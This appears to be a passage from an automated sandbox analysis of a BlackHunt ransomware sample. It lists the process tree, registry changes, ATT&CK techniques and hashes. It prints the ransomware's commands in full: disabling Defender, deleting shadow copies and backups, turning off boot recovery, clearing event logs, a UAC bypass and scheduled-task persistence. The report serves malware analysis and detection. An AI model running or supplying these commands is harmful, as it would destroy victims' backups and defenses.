4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 50 PID 2664 wrote to memory of 2572 2664 cmd.exe 49 PID 2664 wrote to memory of 2572 2664 cmd.exe 49 PID 2664 wrote to memory of 2572 2664 cmd.exe 49 PID 1540 wrote to memory of 2636 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 52 PID 1540 wrote to memory of 2636 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 52 PID 1540 wrote to memory of 2636 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 52 PID 1540 wrote to memory of 2636 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 52 PID 1540 wrote to memory of 3048 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 54 PID 1540 wrote to memory of 3048 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 54 PID 1540 wrote to memory of 3048 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 54 PID 1540 wrote to memory of 3048 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 54 PID 1540 wrote to memory of 2608 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 56 PID 1540 wrote to memory of 2608 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 56 PID 1540 wrote to memory of 2608 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 56 PID 1540 wrote to memory of 2608 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 56 PID 1540 wrote to memory of 2260 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 57 PID 1540 wrote to memory of 2260 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 57 PID 1540 wrote to memory of 2260 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 57 PID 1540 wrote to memory of 2260 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 57 PID 1540 wrote to memory of 2540 1540 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe 59 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe"C:\Users\Admin\AppData\Local\Temp\4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1540 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2924
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2656
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2768
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1496
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2740
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2676
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2792
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:3572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2732
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2448
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2724
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2612
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:3544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2556
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:4036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2588
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2636
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:3728
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:3048
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2088
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2608
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2260
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3792
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2540
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:3824
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2012
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1516
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:960
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1876
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1852
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2816
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:3644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2812
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2904
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2564
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2992
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2364
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:3812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2192
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2488
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4076
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2504
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1360
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:3828
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe" /F2⤵PID:1824
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe" /F3⤵
- Creates scheduled task(s)
PID:3456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2628
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3804
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1032
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2104
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1884
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:552
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:3784
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2948
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:272
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3476
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1656
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2176
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2952
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3976
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1556
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3092
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:3124
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2828
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:3892
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:3244
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3144
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2568
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:2628
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3592
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3604
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3172
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:856
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3176
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3064
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3252
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2220
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1752
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:3716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:4008
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:2352
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:3916
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:2384
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2516
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:4040
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:1496
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2228
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2164
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2312
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\4ac794d727500189bb35ace4ef2b39bd026a3b3fede6c77fcf4f5b8948dbdb23.exe"2⤵
- Deletes itself
PID:2156 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:1560
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1736
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1716
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4032
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:3284
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
6Replay Monitor
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Downloads
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Filesize
1KB
MD5d418e490216fa16c325245272b1fff82
SHA12197ffdfe3f3e60c949d12d443d9e982399fd5db
SHA256020659fc2f6d671f69ca853f75302138d98e643b81da1191da890b1c99cd1b88
SHA512dd9b6272a67ef10cafca4f1b17e357f6dbec837e03671180dce2338184931c9c5ad07e63379ec1d3c75e28d4bddb22c1d0e9aaa1f314f30addec33d95123964f
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Filesize
12KB
MD5f9afaeaec506a0361c0920750842039c
SHA13a6039572e23cda85ab04a26a8d39242db26f378
